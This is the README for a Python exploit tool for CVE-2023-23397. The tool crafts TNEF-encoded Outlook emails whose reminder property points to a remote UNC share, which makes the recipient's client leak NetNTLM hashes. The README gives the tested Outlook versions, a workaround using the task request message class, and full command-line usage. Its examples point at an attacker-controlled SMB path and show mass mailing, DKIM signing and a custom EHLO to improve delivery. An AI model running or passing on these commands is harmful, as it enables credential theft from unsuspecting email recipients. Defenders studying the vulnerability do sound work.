# CVE-2023-23397

This script allows to create TNEF-encoded Outlook e-mails with CVE-2023-23397 exploit payload and send them via pure SMTP - no need in COM objects or EWS.

I could not get `IPM.Schedule.Meeting.Request` message class to work properly (it generates both meeting and the reminder but does not respect `PidLidReminderOverride` property for some reason), so instead the script abuses `IPM.TaskRequest` class. It results into a malicious meeting reminder popup just like in the original exploit, but the recipient cannot view the message body nor the meeting details. In OWA, however, the e-mail looks like a regular message without an appointment.

Tested on Outlook365 16130.20218 and Outlook 2019 10395.20020. Note that TNEF attachment and headers may not make it through the antispam filters when sending the e-mails externally - I only tested this by sending e-mails directly (or via Postfix relay) to Exchange from the Linux machine in the same LAN.

## Usage

  -h, --help            show this help message and exit
  -s SERVER, --server SERVER
                        smtp mail relay (host[:port]), default: localhost:25
  -f SENDER, --from SENDER
                        sender email address
  -t TO, --to TO        recipient email address(es), path to a file or comma-separated values
  -S SUBJECT, --subject SUBJECT
                        message subject
  -r ROOM, --room ROOM  meeting location (room name), default: Meeting Room #1
  -b BODY, --body BODY  plaintext message body (or path to file)
  --html HTML           HTML message body (or path to file)
  -p PATH, --path PATH  remote file path for NetNTLM exfiltration, e.g \\\share\1.wav
  -a AUTH, --auth AUTH  username:password for AUTH command if authenticated send is required
  --codepage CODEPAGE   windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
  --ehlo EHLO, --helo EHLO
                        EHLO command argument (sender external hostname)
  -l LANG, --lang LANG  Content-Language header value, default: en-US
  --starttls            Use STARTTLS when communicating over plaintext SMTP
  --max-rcpts MAX_RCPTS
                        Maximum number of recipients per send attempt
  -v                    Enable debug output

DKIM message signing:
  --dkim-selector DKIM_SELECTOR
                        DKIM selector
  --dkim-key DKIM_KEY   DKIM private key file path
  --dkim-domain DKIM_DOMAIN
                        DKIM domain name, default: sender address part after @


## Examples

Send the e-mail from `` to ``:
python3 -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f -t -S 'Test meeting' -b 'This is a test meeting, please ignore it.'

Send the e-mail to multiple recipients with opportunistic TLS and HTML body from file:
python3 -s -p '\\xx.xx.xx.xx\share\1.wav' -f -t, -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls

Send the e-mail with DKIM signature (requires `pip install dkimpy`) and custom domain in EHLO command to recipients loaded from file, three recipients per message:
python3 -s -p '\\xx.xx.xx.xx\share\1.wav' -f -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain --dkim-selector default --ehlo

Send the e-mail with domain credentials:
python3 -s --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f -t -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls

## Credits

- [Original research from MDSec](
- [tnefparse]( for TNEF-related python code